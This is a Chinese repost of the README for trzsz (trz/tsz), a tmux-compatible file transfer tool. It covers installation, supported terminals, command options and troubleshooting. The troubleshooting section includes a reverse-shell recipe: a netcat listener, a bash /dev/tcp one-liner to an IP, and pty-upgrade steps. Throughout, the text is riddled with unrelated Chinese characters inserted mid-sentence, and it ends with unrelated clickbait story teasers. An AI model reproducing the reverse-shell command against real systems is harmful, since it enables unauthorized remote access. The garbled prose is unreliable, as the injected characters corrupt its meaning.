trzsz ( trz / tsz ) - 和 rz / sz 類似,兼容 tmux 的文件傳輸工具

trzsz ( trz / tsz ) - 和 rz / sz 類似,兼容 tmux 的文件傳輸工具

trzsz ( trz / tsz ) 是一款優(yōu)秀的文件傳輸工具,和 lrzsz ( rz / sz ) 類似的桂躏、兼容 tmux 的文件傳輸工具。

GitHub開源地址: https://github.com/trzsz/trzsz

如何使用

  1. 在服務(wù)器上安裝 trzsz ( trz / tsz )川陆,有 go剂习、pyjs 三種實(shí)現(xiàn),互相兼容较沪。

  2. 本地要使用支持的終端鳞绕,有本地 shell 的終端可以使用 trzsz-ssh ( tssh ),或參考下文【支持的終端】尸曼。

  3. 使用 trz ( 類似 rz ) 命令上傳文件们何,使用 tsz ( 類似 sz ) 命令下載文件。

為什么做

  • 考慮 laptop -> hostA -> hostB -> docker -> tmux 這種場景控轿,使用 scpsftp 是不方便的冤竹。

  • 在這種場景下,使用 lrzsz ( rz / sz ) 是很方便的茬射,但是很可惜它與 tmux 不兼容鹦蠕。

  • tmux 不打算支持 rz / sz ( 906, 1439 ),于是就開發(fā)了 trzsz ( trz / tsz )在抛。

優(yōu)點(diǎn)介紹

  • 支持 tmux钟病,包括 tmux 普通模式,以及與 iTerm2 集成的 tmux 命令模式刚梭。
  • 支持 傳輸目錄档悠,trz -d 命令上傳目錄,tsz -d xxx 命令下載 xxx 目錄望浩。
  • 支持 斷點(diǎn)續(xù)傳trz -ytsz -y xxx 覆蓋目標(biāo)文件會自動進(jìn)行斷點(diǎn)續(xù)傳惰说。
  • 支持 Windows磨德,不僅可在 Windows 客戶端使用,也可在 Windows ssh 服務(wù)器使用。
  • 支持 原生終端典挑,不需要原生終端做支持酥宴,只要使用 trzsz ssh x.x.x.x 登錄即可。
  • 支持 web 終端您觉,通過 web 瀏覽器在本地與服務(wù)器之間傳輸目錄和文件拙寡。
  • 支持 拖動上傳,將文件和目錄拖到終端窗口即可上傳到遠(yuǎn)程服務(wù)器琳水。
  • 支持 進(jìn)度條肆糕,顯示當(dāng)前正在傳輸?shù)奈募⑦M(jìn)度在孝、大小诚啃、速度和剩余時(shí)間等。
  • 更好的 交互體驗(yàn)私沮,傳輸成功或出錯(cuò)時(shí)顯示友好的結(jié)果始赎,ctrl + c 優(yōu)雅中止。

安裝指南

在遠(yuǎn)程服務(wù)器上安裝

  • 安裝 用 Go 實(shí)現(xiàn)的版本( ? 推薦 )

    請查看 Go 版安裝指引:https://trzsz.github.io/cn/go

  • 或者用 Python3 安裝

    sudo python3 -m pip install --upgrade trzsz
    
  • 或者用 Python2 安裝

    sudo python2 -m pip install --upgrade trzsz
    
  • 或者用 Homebrew 安裝

    brew update
    brew install trzsz
    
  • 或者用 Node.js 安裝

    sudo npm install -g trzsz
    

??沒有 sudo 權(quán)限也可以安裝仔燕,只要將安裝路徑 ( 可能是 ~/.local/bin ) 添加到 PATH 環(huán)境變量中即可造垛。

支持的終端

  • trzsz-ssh ( tssh ) -- 內(nèi)置支持 trzsz 的 ssh 客戶端( ? 推薦 )。

  • iTerm2 -- 參考 Trzsz-iTerm2 安裝文檔晰搀。

  • tabby -- 安裝 tabby-trzsz 插件即可五辽。

  • electerm -- 升級到 1.19.0 以上的版本即可。

  • ttyd -- 升級到 1.7.3 以上的版本厕隧,并且啟動時(shí)加上 -t enableTrzsz=true奔脐,非 localhost 要用 https

  • trzsz-go -- 只要是支持本地 shell 的終端就可以用吁讨。

  • trzsz.js -- 讓運(yùn)行在瀏覽器中的 webshell 和用 electron 開發(fā)的終端支持 trzsz髓迎。

??如果你的終端也支持 trzsz,請告訴我建丧,我很樂意將它加到此列表中排龄。

使用指南

trz 上傳文件

trz 命令可以不帶任何參數(shù),將上傳文件到當(dāng)前目錄翎朱。也可以帶一個(gè)目錄參數(shù)橄维,指定上傳到哪個(gè)目錄。

trz /tmp/

tsz 下載文件

tsz 可以帶一個(gè)或多個(gè)文件名(可使用相對路徑或絕對路徑拴曲,也可使用通配符)争舞,將下載指定的文件。

tsz file1 file2 file3

-q 靜默模式

trz -qtsz -q xxx ( 加上 -q 選項(xiàng) )澈灼,則在傳輸文件時(shí)不顯示進(jìn)度條竞川。

-y 覆蓋模式

trz -ytsz -y xxx ( 加上 -y 選項(xiàng) )店溢,如果存在相同文件名的文件就直接覆蓋,并支持?jǐn)帱c(diǎn)續(xù)傳委乌。

-b 二進(jìn)制模式

trz -btsz -b xxx ( 加上 -b 選項(xiàng) )床牧,二進(jìn)制傳輸模式,對于壓縮包遭贸、圖片戈咳、影音等較快。

-e 轉(zhuǎn)義控制字符

二進(jìn)制模式時(shí)壕吹,控制字符可能會導(dǎo)致失敗著蛙,trz -ebtsz -eb xxx ( 加上 -e 選項(xiàng) ) 轉(zhuǎn)義所有已知的控制字符。

-d / -r 傳輸文件夾

trz -dtsz -r xxx ( 加上 -d-r 選項(xiàng) )算利,則可以上傳或下載指定文件夾和文件册踩。

-B 緩沖區(qū)上限

trz -B 20mtsz -B 2M xxx 等,設(shè)置最大緩沖區(qū)上限 ( 默認(rèn) 10M )效拭。會自動根據(jù)網(wǎng)速選擇合適的緩沖區(qū)大小暂吉,但不會超過此上限。

-t 超時(shí)時(shí)間

trz -t 30tsz -t 30 xxx 等缎患,設(shè)置超時(shí)秒數(shù) ( 默認(rèn) 20 秒 )慕的。在超時(shí)時(shí)間內(nèi),如果無法傳完一個(gè)緩沖區(qū)大小的數(shù)據(jù)則會報(bào)錯(cuò)并退出挤渔。設(shè)置為 0 或負(fù)數(shù)肮街,則永不超時(shí)。

異常處理方法

  • 如果 tmux 是運(yùn)行在本地電腦上判导。

    • 方案 1:使用 tmux -CC 與 iTerm2 集成嫉父,請參考 iTerm2 與 tmux -CC 集成
    • 方案 2:在本地電腦上安裝 trzsz-go眼刃,在 tmux 之后用 trzsz ssh 登錄绕辖。
    • 方案 3:在本地電腦上安裝 trzsz-ssh,在 tmux 之后用 tssh 登錄擂红。
  • 如果 tmux 是運(yùn)行在跳板機(jī)上仪际。

    • 方案 1:使用 tmux -CC 與 iTerm2 集成,請參考 iTerm2 與 tmux -CC 集成昵骤。
    • 方案 2:在跳板機(jī)上安裝 trzsz-go树碱,在 tmux 之后用 trzsz -r ssh 登錄。
    • 方案 3:在跳板機(jī)上安裝 trzsz-ssh变秦,在 tmux 之后用 tssh 登錄成榜。
  • 如果出現(xiàn)了錯(cuò)誤,且 trzsz 掛住不能動了:

    • 按組合鍵 control + c 可以停止服務(wù)器上的 trztsz 進(jìn)程蹦玫。
    • 對于 iTerm2 用戶赎婚,按組合鍵 command + option + shift + r 可以停止 iTerm2 Coprocesses雨饺。
  • 如果 trz -b 二進(jìn)制上傳失敗,并且登錄遠(yuǎn)程服務(wù)器時(shí)使用了 telnetdocker exec

    • 可以試試轉(zhuǎn)義所有控制字符惑淳,例如 trz -eb
  • 如果 trz -btsz -b 二進(jìn)制傳輸失敗饺窿,并且登錄遠(yuǎn)程服務(wù)器時(shí)使用了 expect

    • 可以試試在 expect 腳本前設(shè)置環(huán)境變量 export LC_CTYPE=C歧焦,例如:
      #!/bin/sh
      export LC_CTYPE=C
      expect -c '
        spawn ssh xxx
        expect "xxx: "
        send "xxx\n"
        interact
      '
      
  • 如果想在反彈 shell 中使用 trz / tsz 上傳和下載,則需要按以下步驟操作:

    • 1. 使用 tssh xxxtrzsz ssh xxx 登錄服務(wù)器肚医。
    • 2. 在服務(wù)器上執(zhí)行 nc -lnv 1337绢馍,等待反彈 shell 連接。
    • 3. 在目標(biāo)機(jī)器反彈連接到服務(wù)器肠套,如 bash -i >& /dev/tcp/192.168.0.1/1337 0>&1舰涌。
    • 4. 以下在反彈 shell 中操作:
      • 4.1. 轉(zhuǎn)換成交互式 shell,如 python3 -c 'import pty; pty.spawn("/bin/bash")'你稚。
      • 4.2. 按下 ctrl + z 將反彈 shell 轉(zhuǎn)入后臺運(yùn)行瓷耙。
      • 4.3. 執(zhí)行 stty raw -echo; fg 屏蔽服務(wù)器的回顯,并將反彈 shell 轉(zhuǎn)到前臺運(yùn)行刁赖。
      • 4.4. 此時(shí)按一次回車鍵搁痛,就會顯示命令行提示符等了。
      • 4.5. 設(shè)置終端環(huán)境變量 export TERM=xterm-256color( 此步驟非必須 )宇弛。
      • 4.6. 檢查是否存在 TMUX 環(huán)境變更鸡典,若存在則要清掉 unset TMUX
      • 4.7. 此時(shí)就可以正常使用 trz / tsz 上傳和下載了枪芒。
    • 5. 退出交互式 shell 后彻况,輸入的字符將不會回顯,盲打 exit 退出反彈 shell舅踪。
    • 6. 此時(shí)在服務(wù)器上盲打 reset 并回車纽甘,恢復(fù)終端的默認(rèn)設(shè)置,然后回顯就恢復(fù)正常了硫朦。

屏幕截圖

trzsz 在 iTerm2 中 text 進(jìn)度條示例

using trzsz in iTerm2 with text progress bar

trzsz 在 iTerm2 中 zenity 進(jìn)度條示例

using trzsz in iTerm2 with zenity progress bar

trzsz 在 tabby 中 tabby-trzsz 插件示例

using trzsz in tabby with tabby-trzsz plugin
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末贷腕,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子咬展,更是在濱河造成了極大的恐慌泽裳,老刑警劉巖,帶你破解...
    沈念sama閱讀 222,252評論 6 516
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件破婆,死亡現(xiàn)場離奇詭異涮总,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)祷舀,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,886評論 3 399
  • 文/潘曉璐 我一進(jìn)店門瀑梗,熙熙樓的掌柜王于貴愁眉苦臉地迎上來烹笔,“玉大人,你說我怎么就攤上這事抛丽“埃” “怎么了?”我有些...
    開封第一講書人閱讀 168,814評論 0 361
  • 文/不壞的土叔 我叫張陵亿鲜,是天一觀的道長允蜈。 經(jīng)常有香客問我,道長蒿柳,這世上最難降的妖魔是什么饶套? 我笑而不...
    開封第一講書人閱讀 59,869評論 1 299
  • 正文 為了忘掉前任,我火速辦了婚禮垒探,結(jié)果婚禮上妓蛮,老公的妹妹穿的比我還像新娘。我一直安慰自己圾叼,他們只是感情好蛤克,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,888評論 6 398
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著褐奥,像睡著了一般咖耘。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上撬码,一...
    開封第一講書人閱讀 52,475評論 1 312
  • 那天儿倒,我揣著相機(jī)與錄音,去河邊找鬼呜笑。 笑死夫否,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的叫胁。 我是一名探鬼主播凰慈,決...
    沈念sama閱讀 41,010評論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼驼鹅!你這毒婦竟也來了微谓?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,924評論 0 277
  • 序言:老撾萬榮一對情侶失蹤输钩,失蹤者是張志新(化名)和其女友劉穎豺型,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體买乃,經(jīng)...
    沈念sama閱讀 46,469評論 1 319
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡姻氨,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,552評論 3 342
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了剪验。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片肴焊。...
    茶點(diǎn)故事閱讀 40,680評論 1 353
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡前联,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出娶眷,到底是詐尸還是另有隱情似嗤,我是刑警寧澤,帶...
    沈念sama閱讀 36,362評論 5 351
  • 正文 年R本政府宣布届宠,位于F島的核電站双谆,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏席揽。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,037評論 3 335
  • 文/蒙蒙 一谓厘、第九天 我趴在偏房一處隱蔽的房頂上張望幌羞。 院中可真熱鬧,春花似錦竟稳、人聲如沸属桦。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,519評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽聂宾。三九已至,卻和暖如春诊笤,著一層夾襖步出監(jiān)牢的瞬間系谐,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,621評論 1 274
  • 我被黑心中介騙來泰國打工讨跟, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留纪他,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 49,099評論 3 378
  • 正文 我出身青樓晾匠,卻偏偏與公主長得像茶袒,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個(gè)殘疾皇子凉馆,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,691評論 2 361

推薦閱讀更多精彩內(nèi)容